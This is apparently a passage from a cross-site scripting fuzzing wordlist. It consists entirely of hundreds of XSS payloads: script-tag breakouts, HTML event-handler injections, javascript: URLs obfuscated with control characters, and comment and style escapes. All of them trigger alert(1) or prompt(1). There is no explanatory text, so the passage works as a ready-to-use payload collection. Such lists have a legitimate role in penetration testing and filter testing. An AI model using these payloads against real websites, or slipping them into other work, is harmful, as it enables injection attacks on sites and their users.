alert(?X?)</script>\r\n?<script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n\"><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n'><script>prompt(1)</script>\r\n</ScrIpt><script>prompt(1)</script>\r\n?;alert(1)//\r\n?-alert(1)-?\r\n?<script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n?;prompt(1)//\r\n?-prompt(1)-?\r\n<input type=\"text\" AUTOFOCUS onfocus=alert(1)>\r\n\"><input type=\"text\" AUTOFOCUS onfocus=alert(1)>\r\n'><input type=\"text\" AUTOFOCUS onfocus=alert(1)>\r\n<script\\x20type=\"text/javascript\">javascript:alert(1);</script>\r\n\"><script\\x20type=\"text/javascript\">javascript:alert(1);</script>\r\n'><script\\x20type=\"text/javascript\">javascript:alert(1);</script>\r\n<script\\x3Etype=\"text/javascript\">javascript:alert(1);</script>\r\n\"><script\\x3Etype=\"text/javascript\">javascript:alert(1);</script>\r\n'><script\\x3Etype=\"text/javascript\">javascript:alert(1);</script>\r\n<script\\x0Dtype=\"text/javascript\">javascript:alert(1);</script>\r\n\"><script\\x0Dtype=\"text/javascript\">javascript:alert(1);</script>\r\n'><script\\x0Dtype=\"text/javascript\">javascript:alert(1);</script>\r\n<script\\x09type=\"text/javascript\">javascript:alert(1);</script>\r\n\"><script\\x09type=\"text/javascript\">javascript:alert(1);</script>\r\n'><script\\x09type=\"text/javascript\">javascript:alert(1);</script>\r\n<script\\x0Ctype=\"text/javascript\">javascript:alert(1);</script>\r\n\"><script\\x0Ctype=\"text/javascript\">javascript:alert(1);</script>\r\n'><script\\x0Ctype=\"text/javascript\">javascript:alert(1);</script>\r\n<script\\x2Ftype=\"text/javascript\">javascript:alert(1);</script>\r\n\"><script\\x2Ftype=\"text/javascript\">javascript:alert(1);</script>\r\n'><script\\x2Ftype=\"text/javascript\">javascript:alert(1);</script>\r\n<script\\x0Atype=\"text/javascript\">javascript:alert(1);</script>\r\n\"><script\\x0Atype=\"text/javascript\">javascript:alert(1);</script>\r\n'><script\\x0Atype=\"text/javascript\">javascript:alert(1);</script>\r\n'`\"><\\x00script>javascript:alert(1)</script>\r\n<img src=1 href=1 onerror=\"javascript:alert(1)\"></img>\r\n\"><img src=1 href=1 onerror=\"javascript:alert(1)\"></img>\r\n'><img src=1 href=1 onerror=\"javascript:alert(1)\"></img>\r\n<audio src=1 href=1 onerror=\"javascript:alert(1)\"></audio>\r\n\"><audio src=1 href=1 onerror=\"javascript:alert(1)\"></audio>\r\n'><audio src=1 href=1 onerror=\"javascript:alert(1)\"></audio>\r\n<video src=1 href=1 onerror=\"javascript:alert(1)\"></video>\r\n\"><video src=1 href=1 onerror=\"javascript:alert(1)\"></video>\r\n'><video src=1 href=1 onerror=\"javascript:alert(1)\"></video>\r\n<body src=1 href=1 onerror=\"javascript:alert(1)\"></body>\r\n\"><body src=1 href=1 onerror=\"javascript:alert(1)\"></body>\r\n'><body src=1 href=1 onerror=\"javascript:alert(1)\"></body>\r\n<image src=1 href=1 onerror=\"javascript:alert(1)\"></image>\r\n\"><image src=1 href=1 onerror=\"javascript:alert(1)\"></image>\r\n'><image src=1 href=1 onerror=\"javascript:alert(1)\"></image>\r\n<object src=1 href=1 onerror=\"javascript:alert(1)\"></object>\r\n\"><object src=1 href=1 onerror=\"javascript:alert(1)\"></object>\r\n'><object src=1 href=1 onerror=\"javascript:alert(1)\"></object>\r\n<script src=1 href=1 onerror=\"javascript:alert(1)\"></script>\r\n\"><script src=1 href=1 onerror=\"javascript:alert(1)\"></script>\r\n'><script src=1 href=1 onerror=\"javascript:alert(1)\"></script>\r\n<svg onResize svg onResize=\"javascript:javascript:alert(1)\"></svg onResize>\r\n\"><svg onResize svg onResize=\"javascript:javascript:alert(1)\"></svg onResize>\r\n'><svg onResize svg onResize=\"javascript:javascript:alert(1)\"></svg onResize>\r\n<title onPropertyChange title onPropertyChange=\"javascript:javascript:alert(1)\"></title onPropertyChange>\r\n\"><title onPropertyChange title onPropertyChange=\"javascript:javascript:alert(1)\"></title onPropertyChange>\r\n'><title onPropertyChange title onPropertyChange=\"javascript:javascript:alert(1)\"></title onPropertyChange>\r\n<iframe onLoad iframe onLoad=\"javascript:javascript:alert(1)\"></iframe onLoad>\r\n\"><iframe onLoad iframe onLoad=\"javascript:javascript:alert(1)\"></iframe onLoad>\r\n'><iframe onLoad iframe onLoad=\"javascript:javascript:alert(1)\"></iframe onLoad>\r\n<body onMouseEnter body onMouseEnter=\"javascript:javascript:alert(1)\"></body onMouseEnter>\r\n\"><body onMouseEnter body onMouseEnter=\"javascript:javascript:alert(1)\"></body onMouseEnter>\r\n'><body onMouseEnter body onMouseEnter=\"javascript:javascript:alert(1)\"></body onMouseEnter>\r\n<body onFocus body onFocus=\"javascript:javascript:alert(1)\"></body onFocus>\r\n\"><body onFocus body onFocus=\"javascript:javascript:alert(1)\"></body onFocus>\r\n'><body onFocus body onFocus=\"javascript:javascript:alert(1)\"></body onFocus>\r\n<frameset onScroll frameset onScroll=\"javascript:javascript:alert(1)\"></frameset onScroll>\r\n\"><frameset onScroll frameset onScroll=\"javascript:javascript:alert(1)\"></frameset onScroll>\r\n'><frameset onScroll frameset onScroll=\"javascript:javascript:alert(1)\"></frameset onScroll>\r\n<script onReadyStateChange script onReadyStateChange=\"javascript:javascript:alert(1)\"></script onReadyStateChange>\r\n\"><script onReadyStateChange script onReadyStateChange=\"javascript:javascript:alert(1)\"></script onReadyStateChange>\r\n'><script onReadyStateChange script onReadyStateChange=\"javascript:javascript:alert(1)\"></script onReadyStateChange>\r\n<html onMouseUp html onMouseUp=\"javascript:javascript:alert(1)\"></html onMouseUp>\r\n\"><html onMouseUp html onMouseUp=\"javascript:javascript:alert(1)\"></html onMouseUp>\r\n'><html onMouseUp html onMouseUp=\"javascript:javascript:alert(1)\"></html onMouseUp>\r\n<body onPropertyChange body onPropertyChange=\"javascript:javascript:alert(1)\"></body onPropertyChange>\r\n\"><body onPropertyChange body onPropertyChange=\"javascript:javascript:alert(1)\"></body onPropertyChange>\r\n'><body onPropertyChange body onPropertyChange=\"javascript:javascript:alert(1)\"></body onPropertyChange>\r\n<svg onLoad svg onLoad=\"javascript:javascript:alert(1)\"></svg onLoad>\r\n\"><svg onLoad svg onLoad=\"javascript:javascript:alert(1)\"></svg onLoad>\r\n'><svg onLoad svg onLoad=\"javascript:javascript:alert(1)\"></svg onLoad>\r\n<body onPageHide body onPageHide=\"javascript:javascript:alert(1)\"></body onPageHide>\r\n\"><body onPageHide body onPageHide=\"javascript:javascript:alert(1)\"></body onPageHide>\r\n'><body onPageHide body onPageHide=\"javascript:javascript:alert(1)\"></body onPageHide>\r\n<body onMouseOver body onMouseOver=\"javascript:javascript:alert(1)\"></body onMouseOver>\r\n\"><body onMouseOver body onMouseOver=\"javascript:javascript:alert(1)\"></body onMouseOver>\r\n'><body onMouseOver body onMouseOver=\"javascript:javascript:alert(1)\"></body onMouseOver>\r\n<body onUnload body onUnload=\"javascript:javascript:alert(1)\"></body onUnload>\r\n\"><body onUnload body onUnload=\"javascript:javascript:alert(1)\"></body onUnload>\r\n'><body onUnload body onUnload=\"javascript:javascript:alert(1)\"></body onUnload>\r\n<body onLoad body onLoad=\"javascript:javascript:alert(1)\"></body onLoad>\r\n\"><body onLoad body onLoad=\"javascript:javascript:alert(1)\"></body onLoad>\r\n'><body onLoad body onLoad=\"javascript:javascript:alert(1)\"></body onLoad>\r\n<bgsound onPropertyChange bgsound onPropertyChange=\"javascript:javascript:alert(1)\"></bgsound onPropertyChange>\r\n\"><bgsound onPropertyChange bgsound onPropertyChange=\"javascript:javascript:alert(1)\"></bgsound onPropertyChange>\r\n'><bgsound onPropertyChange bgsound onPropertyChange=\"javascript:javascript:alert(1)\"></bgsound onPropertyChange>\r\n<html onMouseLeave html onMouseLeave=\"javascript:javascript:alert(1)\"></html onMouseLeave>\r\n\"><html onMouseLeave html onMouseLeave=\"javascript:javascript:alert(1)\"></html onMouseLeave>\r\n'><html onMouseLeave html onMouseLeave=\"javascript:javascript:alert(1)\"></html onMouseLeave>\r\n<html onMouseWheel html onMouseWheel=\"javascript:javascript:alert(1)\"></html onMouseWheel>\r\n\"><html onMouseWheel html onMouseWheel=\"javascript:javascript:alert(1)\"></html onMouseWheel>\r\n'><html onMouseWheel html onMouseWheel=\"javascript:javascript:alert(1)\"></html onMouseWheel>\r\n<style onLoad style onLoad=\"javascript:javascript:alert(1)\"></style onLoad>\r\n\"><style onLoad style onLoad=\"javascript:javascript:alert(1)\"></style onLoad>\r\n'><style onLoad style onLoad=\"javascript:javascript:alert(1)\"></style onLoad>\r\n<iframe onReadyStateChange iframe onReadyStateChange=\"javascript:javascript:alert(1)\"></iframe onReadyStateChange>\r\n\"><iframe onReadyStateChange iframe onReadyStateChange=\"javascript:javascript:alert(1)\"></iframe onReadyStateChange>\r\n'><iframe onReadyStateChange iframe onReadyStateChange=\"javascript:javascript:alert(1)\"></iframe onReadyStateChange>\r\n<body onPageShow body onPageShow=\"javascript:javascript:alert(1)\"></body onPageShow>\r\n\"><body onPageShow body onPageShow=\"javascript:javascript:alert(1)\"></body onPageShow>\r\n'><body onPageShow body onPageShow=\"javascript:javascript:alert(1)\"></body onPageShow>\r\n<style onReadyStateChange style onReadyStateChange=\"javascript:javascript:alert(1)\"></style onReadyStateChange>\r\n\"><style onReadyStateChange style onReadyStateChange=\"javascript:javascript:alert(1)\"></style onReadyStateChange>\r\n'><style onReadyStateChange style onReadyStateChange=\"javascript:javascript:alert(1)\"></style onReadyStateChange>\r\n<frameset onFocus frameset onFocus=\"javascript:javascript:alert(1)\"></frameset onFocus>\r\n\"><frameset onFocus frameset onFocus=\"javascript:javascript:alert(1)\"></frameset onFocus>\r\n'><frameset onFocus frameset onFocus=\"javascript:javascript:alert(1)\"></frameset onFocus>\r\n<applet onError applet onError=\"javascript:javascript:alert(1)\"></applet onError>\r\n\"><applet onError applet onError=\"javascript:javascript:alert(1)\"></applet onError>\r\n'><applet onError applet onError=\"javascript:javascript:alert(1)\"></applet onError>\r\n<marquee onStart marquee onStart=\"javascript:javascript:alert(1)\"></marquee onStart>\r\n\"><marquee onStart marquee onStart=\"javascript:javascript:alert(1)\"></marquee onStart>\r\n'><marquee onStart marquee onStart=\"javascript:javascript:alert(1)\"></marquee onStart>\r\n<script onLoad script onLoad=\"javascript:javascript:alert(1)\"></script onLoad>\r\n\"><script onLoad script onLoad=\"javascript:javascript:alert(1)\"></script onLoad>\r\n'><script onLoad script onLoad=\"javascript:javascript:alert(1)\"></script onLoad>\r\n<html onMouseOver html onMouseOver=\"javascript:javascript:alert(1)\"></html onMouseOver>\r\n\"><html onMouseOver html onMouseOver=\"javascript:javascript:alert(1)\"></html onMouseOver>\r\n'><html onMouseOver html onMouseOver=\"javascript:javascript:alert(1)\"></html onMouseOver>\r\n<html onMouseEnter html onMouseEnter=\"javascript:parent.javascript:alert(1)\"></html onMouseEnter>\r\n\"><html onMouseEnter html onMouseEnter=\"javascript:parent.javascript:alert(1)\"></html onMouseEnter>\r\n'><html onMouseEnter html onMouseEnter=\"javascript:parent.javascript:alert(1)\"></html onMouseEnter>\r\n<body onBeforeUnload body onBeforeUnload=\"javascript:javascript:alert(1)\"></body onBeforeUnload>\r\n\"><body onBeforeUnload body onBeforeUnload=\"javascript:javascript:alert(1)\"></body onBeforeUnload>\r\n'><body onBeforeUnload body onBeforeUnload=\"javascript:javascript:alert(1)\"></body onBeforeUnload>\r\n<html onMouseDown html onMouseDown=\"javascript:javascript:alert(1)\"></html onMouseDown>\r\n\"><html onMouseDown html onMouseDown=\"javascript:javascript:alert(1)\"></html onMouseDown>\r\n'><html onMouseDown html onMouseDown=\"javascript:javascript:alert(1)\"></html onMouseDown>\r\n<marquee onScroll marquee onScroll=\"javascript:javascript:alert(1)\"></marquee onScroll>\r\n\"><marquee onScroll marquee onScroll=\"javascript:javascript:alert(1)\"></marquee onScroll>\r\n'><marquee onScroll marquee onScroll=\"javascript:javascript:alert(1)\"></marquee onScroll>\r\n<xml onPropertyChange xml onPropertyChange=\"javascript:javascript:alert(1)\"></xml onPropertyChange>\r\n\"><xml onPropertyChange xml onPropertyChange=\"javascript:javascript:alert(1)\"></xml onPropertyChange>\r\n'><xml onPropertyChange xml onPropertyChange=\"javascript:javascript:alert(1)\"></xml onPropertyChange>\r\n<frameset onBlur frameset onBlur=\"javascript:javascript:alert(1)\"></frameset onBlur>\r\n\"><frameset onBlur frameset onBlur=\"javascript:javascript:alert(1)\"></frameset onBlur>\r\n'><frameset onBlur frameset onBlur=\"javascript:javascript:alert(1)\"></frameset onBlur>\r\n<applet onReadyStateChange applet onReadyStateChange=\"javascript:javascript:alert(1)\"></applet onReadyStateChange>\r\n\"><applet onReadyStateChange applet onReadyStateChange=\"javascript:javascript:alert(1)\"></applet onReadyStateChange>\r\n'><applet onReadyStateChange applet onReadyStateChange=\"javascript:javascript:alert(1)\"></applet onReadyStateChange>\r\n<svg onUnload svg onUnload=\"javascript:javascript:alert(1)\"></svg onUnload>\r\n\"><svg onUnload svg onUnload=\"javascript:javascript:alert(1)\"></svg onUnload>\r\n'><svg onUnload svg onUnload=\"javascript:javascript:alert(1)\"></svg onUnload>\r\n<html onMouseOut html onMouseOut=\"javascript:javascript:alert(1)\"></html onMouseOut>\r\n\"><html onMouseOut html onMouseOut=\"javascript:javascript:alert(1)\"></html onMouseOut>\r\n'><html onMouseOut html onMouseOut=\"javascript:javascript:alert(1)\"></html onMouseOut>\r\n<body onMouseMove body onMouseMove=\"javascript:javascript:alert(1)\"></body onMouseMove>\r\n\"><body onMouseMove body onMouseMove=\"javascript:javascript:alert(1)\"></body onMouseMove>\r\n'><body onMouseMove body onMouseMove=\"javascript:javascript:alert(1)\"></body onMouseMove>\r\n<body onResize body onResize=\"javascript:javascript:alert(1)\"></body onResize>\r\n\"><body onResize body onResize=\"javascript:javascript:alert(1)\"></body onResize>\r\n'><body onResize body onResize=\"javascript:javascript:alert(1)\"></body onResize>\r\n<object onError object onError=\"javascript:javascript:alert(1)\"></object onError>\r\n\"><object onError object onError=\"javascript:javascript:alert(1)\"></object onError>\r\n'><object onError object onError=\"javascript:javascript:alert(1)\"></object onError>\r\n<body onPopState body onPopState=\"javascript:javascript:alert(1)\"></body onPopState>\r\n\"><body onPopState body onPopState=\"javascript:javascript:alert(1)\"></body onPopState>\r\n'><body onPopState body onPopState=\"javascript:javascript:alert(1)\"></body onPopState>\r\n<html onMouseMove html onMouseMove=\"javascript:javascript:alert(1)\"></html onMouseMove>\r\n\"><html onMouseMove html onMouseMove=\"javascript:javascript:alert(1)\"></html onMouseMove>\r\n'><html onMouseMove html onMouseMove=\"javascript:javascript:alert(1)\"></html onMouseMove>\r\n<applet onreadystatechange applet onreadystatechange=\"javascript:javascript:alert(1)\"></applet onreadystatechange>\r\n\"><applet onreadystatechange applet onreadystatechange=\"javascript:javascript:alert(1)\"></applet onreadystatechange>\r\n'><applet onreadystatechange applet onreadystatechange=\"javascript:javascript:alert(1)\"></applet onreadystatechange>\r\n<body onpagehide body onpagehide=\"javascript:javascript:alert(1)\"></body onpagehide>\r\n\"><body onpagehide body onpagehide=\"javascript:javascript:alert(1)\"></body onpagehide>\r\n'><body onpagehide body onpagehide=\"javascript:javascript:alert(1)\"></body onpagehide>\r\n<svg onunload svg onunload=\"javascript:javascript:alert(1)\"></svg onunload>\r\n\"><svg onunload svg onunload=\"javascript:javascript:alert(1)\"></svg onunload>\r\n'><svg onunload svg onunload=\"javascript:javascript:alert(1)\"></svg onunload>\r\n<applet onerror applet onerror=\"javascript:javascript:alert(1)\"></applet onerror>\r\n\"><applet onerror applet onerror=\"javascript:javascript:alert(1)\"></applet onerror>\r\n'><applet onerror applet onerror=\"javascript:javascript:alert(1)\"></applet onerror>\r\n<body onkeyup body onkeyup=\"javascript:javascript:alert(1)\"></body onkeyup>\r\n\"><body onkeyup body onkeyup=\"javascript:javascript:alert(1)\"></body onkeyup>\r\n'><body onkeyup body onkeyup=\"javascript:javascript:alert(1)\"></body onkeyup>\r\n<body onunload body onunload=\"javascript:javascript:alert(1)\"></body onunload>\r\n\"><body onunload body onunload=\"javascript:javascript:alert(1)\"></body onunload>\r\n'><body onunload body onunload=\"javascript:javascript:alert(1)\"></body onunload>\r\n<iframe onload iframe onload=\"javascript:javascript:alert(1)\"></iframe onload>\r\n\"><iframe onload iframe onload=\"javascript:javascript:alert(1)\"></iframe onload>\r\n'><iframe onload iframe onload=\"javascript:javascript:alert(1)\"></iframe onload>\r\n<body onload body onload=\"javascript:javascript:alert(1)\"></body onload>\r\n\"><body onload body onload=\"javascript:javascript:alert(1)\"></body onload>\r\n'><body onload body onload=\"javascript:javascript:alert(1)\"></body onload>\r\n<html onmouseover html onmouseover=\"javascript:javascript:alert(1)\"></html onmouseover>\r\n\"><html onmouseover html onmouseover=\"javascript:javascript:alert(1)\"></html onmouseover>\r\n'><html onmouseover html onmouseover=\"javascript:javascript:alert(1)\"></html onmouseover>\r\n<object onbeforeload object onbeforeload=\"javascript:javascript:alert(1)\"></object onbeforeload>\r\n\"><object onbeforeload object onbeforeload=\"javascript:javascript:alert(1)\"></object onbeforeload>\r\n'><object onbeforeload object onbeforeload=\"javascript:javascript:alert(1)\"></object onbeforeload>\r\n<body onbeforeunload body onbeforeunload=\"javascript:javascript:alert(1)\"></body onbeforeunload>\r\n\"><body onbeforeunload body onbeforeunload=\"javascript:javascript:alert(1)\"></body onbeforeunload>\r\n'><body onbeforeunload body onbeforeunload=\"javascript:javascript:alert(1)\"></body onbeforeunload>\r\n<body onfocus body onfocus=\"javascript:javascript:alert(1)\"></body onfocus>\r\n\"><body onfocus body onfocus=\"javascript:javascript:alert(1)\"></body onfocus>\r\n'><body onfocus body onfocus=\"javascript:javascript:alert(1)\"></body onfocus>\r\n<body onkeydown body onkeydown=\"javascript:javascript:alert(1)\"></body onkeydown>\r\n\"><body onkeydown body onkeydown=\"javascript:javascript:alert(1)\"></body onkeydown>\r\n'><body onkeydown body onkeydown=\"javascript:javascript:alert(1)\"></body onkeydown>\r\n<iframe onbeforeload iframe onbeforeload=\"javascript:javascript:alert(1)\"></iframe onbeforeload>\r\n\"><iframe onbeforeload iframe onbeforeload=\"javascript:javascript:alert(1)\"></iframe onbeforeload>\r\n'><iframe onbeforeload iframe onbeforeload=\"javascript:javascript:alert(1)\"></iframe onbeforeload>\r\n<iframe src iframe src=\"javascript:javascript:alert(1)\"></iframe src>\r\n\"><iframe src iframe src=\"javascript:javascript:alert(1)\"></iframe src>\r\n'><iframe src iframe src=\"javascript:javascript:alert(1)\"></iframe src>\r\n<svg onload svg onload=\"javascript:javascript:alert(1)\"></svg onload>\r\n\"><svg onload svg onload=\"javascript:javascript:alert(1)\"></svg onload>\r\n'><svg onload svg onload=\"javascript:javascript:alert(1)\"></svg onload>\r\n<html onmousemove html onmousemove=\"javascript:javascript:alert(1)\"></html onmousemove>\r\n\"><html onmousemove html onmousemove=\"javascript:javascript:alert(1)\"></html onmousemove>\r\n'><html onmousemove html onmousemove=\"javascript:javascript:alert(1)\"></html onmousemove>\r\n<body onblur body onblur=\"javascript:javascript:alert(1)\"></body onblur>\r\n\"><body onblur body onblur=\"javascript:javascript:alert(1)\"></body onblur>\r\n'><body onblur body onblur=\"javascript:javascript:alert(1)\"></body onblur>\r\n\\x3Cscript>javascript:alert(1)</script>\r\n'\"`><script>/* *\\x2Fjavascript:alert(1)// */</script>\r\n<script>javascript:alert(1)</script\\x0D\r\n</ScrIpt><script>javascript:alert(1)</script\\x0D\r\n\"><script>javascript:alert(1)</script\\x0D\r\n</ScrIpt><script>javascript:alert(1)</script\\x0D\r\n'><script>javascript:alert(1)</script\\x0D\r\n</ScrIpt><script>javascript:alert(1)</script\\x0D\r\n<script>javascript:alert(1)</script\\x0A\r\n</ScrIpt><script>javascript:alert(1)</script\\x0A\r\n\"><script>javascript:alert(1)</script\\x0A\r\n</ScrIpt><script>javascript:alert(1)</script\\x0A\r\n'><script>javascript:alert(1)</script\\x0A\r\n</ScrIpt><script>javascript:alert(1)</script\\x0A\r\n<script>javascript:alert(1)</script\\x0B\r\n</ScrIpt><script>javascript:alert(1)</script\\x0B\r\n\"><script>javascript:alert(1)</script\\x0B\r\n</ScrIpt><script>javascript:alert(1)</script\\x0B\r\n'><script>javascript:alert(1)</script\\x0B\r\n</ScrIpt><script>javascript:alert(1)</script\\x0B\r\n<script charset=\"\\x22>javascript:alert(1)</script>\r\n\"><script charset=\"\\x22>javascript:alert(1)</script>\r\n'><script charset=\"\\x22>javascript:alert(1)</script>\r\n<!--\\x3E<img src=xxx:x onerror=javascript:alert(1)> -->\r\n\"><!--\\x3E<img src=xxx:x onerror=javascript:alert(1)> -->\r\n'><!--\\x3E<img src=xxx:x onerror=javascript:alert(1)> -->\r\n--><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->\r\n--><!-- --\\x00> <img src=xxx:x onerror=javascript:alert(1)> -->\r\n--><!-- --\\x21> <img src=xxx:x onerror=javascript:alert(1)> -->\r\n--><!-- --\\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->\r\n`\"'><img src='#\\x27 onerror=javascript:alert(1)>\r\n<a href=\"javascript\\x3Ajavascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javascript\\x3Ajavascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javascript\\x3Ajavascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"'`><p><svg><script>a='hello\\x27;javascript:alert(1)//';</script></p>\r\n<a href=\"javas\\x00cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javas\\x00cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javas\\x00cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javas\\x07cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javas\\x07cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javas\\x07cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javas\\x0Dcript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javas\\x0Dcript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javas\\x0Dcript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javas\\x0Acript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javas\\x0Acript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javas\\x0Acript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javas\\x08cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javas\\x08cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javas\\x08cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javas\\x02cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javas\\x02cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javas\\x02cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javas\\x03cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javas\\x03cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javas\\x03cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javas\\x04cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javas\\x04cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javas\\x04cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javas\\x01cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javas\\x01cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javas\\x01cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javas\\x05cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javas\\x05cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javas\\x05cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javas\\x0Bcript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javas\\x0Bcript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javas\\x0Bcript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javas\\x09cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javas\\x09cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javas\\x09cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javas\\x06cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javas\\x06cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javas\\x06cript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<a href=\"javas\\x0Ccript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n\"><a href=\"javas\\x0Ccript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n'><a href=\"javas\\x0Ccript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>\r\n<script>/* *\\x2A/javascript:alert(1)// */</script>\r\n</ScrIpt><script>/* *\\x2A/javascript:alert(1)// */</script>\r\n\"><script>/* *\\x2A/javascript:alert(1)// */</script>\r\n</ScrIpt><script>/* *\\x2A/javascript:alert(1)// */</script>\r\n'><script>/* *\\x2A/javascript:alert(1)// */</script>\r\n</ScrIpt><script>/* *\\x2A/javascript:alert(1)// */</script>\r\n<script>/* *\\x00/javascript:alert(1)// */</script>\r\n</ScrIpt><script>/* *\\x00/javascript:alert(1)// */</script>\r\n\"><script>/* *\\x00/javascript:alert(1)// */</script>\r\n</ScrIpt><script>/* *\\x00/javascript:alert(1)// */</script>\r\n'><script>/* *\\x00/javascript:alert(1)// */</script>\r\n</ScrIpt><script>/* *\\x00/javascript:alert(1)// */</script>\r\n<style></style\\x3E<img src=\"about:blank\" onerror=javascript:alert(1)//></style>\r\n\"><style></style\\x3E<img src=\"about:blank\" onerror=javascript:alert(1)//></style>\r\n'><style></style\\x3E<img src=\"about:blank\" onerror=javascript:alert(1)//></style>\r\n<style></style\\x0D<img src=\"about:blank\" onerror=javascript:alert(1)//></style>\r\n\"><style></style\\x0D<img src=\"about:blank\" onerror=javascript:alert(1)//></style>\r\n'><style></style\\x0D<img src=\"about:blank\" onerror=javascript:alert(1)//></style>\r\n<style></style\\x09<img src=\"about:blank\" onerror=javascript:alert(1)//></style>\r\n\"><style></style\\x09<img src=\"about:blank\" onerror=javascript:alert(1)//></style>\r\n'><style></style\\x09<img src=\"about:blank\" onerror=javascript:alert(1)//></style>\r\n<style></style\\x20<img src=\"about:blank\" onerror=javascript:alert(1)//></style>\r\n\"><style></style\\x20<img src=\"about:blank\" onerror=javascript:alert(1)//></style>\r\n'><style></style\\x20<img src=\"about:blank\" onerror=javascript:alert(1)//></style>\r\n<style></style\\x0A<img src=\"about:blank\" onerror=javascript:alert(1)//></style>\r\n\"><style></style\\x0A<img src=\"about:blank\" onerror=javascript:alert(1)//></style>\r\n'><style></style\\x0A<img src=\"about:blank\" onerror=javascript:alert(1)//></style>\r\n\"'`>ABC<div style=\"font-family:'foo'\\x7Dx:expression(javascript:alert(1);/*';\">DEF\r\n\"'`>ABC<div style=\"font-family:'foo'\\x3Bx:expression(javascript:alert(1);/*';\">DEF\r\n<script>if(\"x\\\\xE1\\x96\\x89\".length==2) { javascript:alert(1);}</script>\r\n</ScrIpt><script>if(\"x\\\\xE1\\x96\\x89\".length==2) { javascript:alert(1);}</script>\r\n\"><script>if(\"x\\\\xE1\\x96\\x89\".length==2) { javascript:alert(1);}</script>\r\n</ScrIpt><script>if(\"x\\\\xE1\\x96\\x89\".length==2) { javascript:alert(1);}</script>\r\n'><script>if(\"x\\\\xE1\\x96\\x89\".length==2) { javascript:alert(1);}</script>\r\n</ScrIpt><script>if(\"x\\\\xE1\\x96\\x89\".length==2) { javascript:alert(1);}</script>\r\n<script>if(\"x\\\\xE0\\xB9\\x92\".length==2) { javascript:alert(1);}</script>\r\n</ScrIpt><script>if(\"x\\\\xE0\\xB9\\x92\".length==2) { javascript:alert(1);}</script>\r\n\"><script>if(\"x\\\\xE0\\xB9\\x92\".length==2) { javascript:alert(1);}</script>\r\n</ScrIpt><script>if(\"x\\\\xE0\\xB9\\x92\".length==2) { javascript:alert(1);}</script>\r\n'><script>if(\"x\\\\xE0\\xB9\\x92\".length==2) { javascript:alert(1);}</script>\r\n</ScrIpt><script>if(\"x\\\\xE0\\xB9\\x92\".length==2) { javascript:alert(1);}</script>\r\n<script>if(\"x\\\\xEE\\xA9\\x93\".length==2) { javascript:alert(1);}</script>\r\n</ScrIpt><script>if(\"x\\\\xEE\\xA9\\x93\".length==2) { javascript:alert(1);}</script>\r\n\"><script>if(\"x\\\\xEE\\xA9\\x93\".length==2) { javascript:alert(1);}</script>\r\n</ScrIpt><script>if(\"x\\\\xEE\\xA9\\x93\".length==2) { 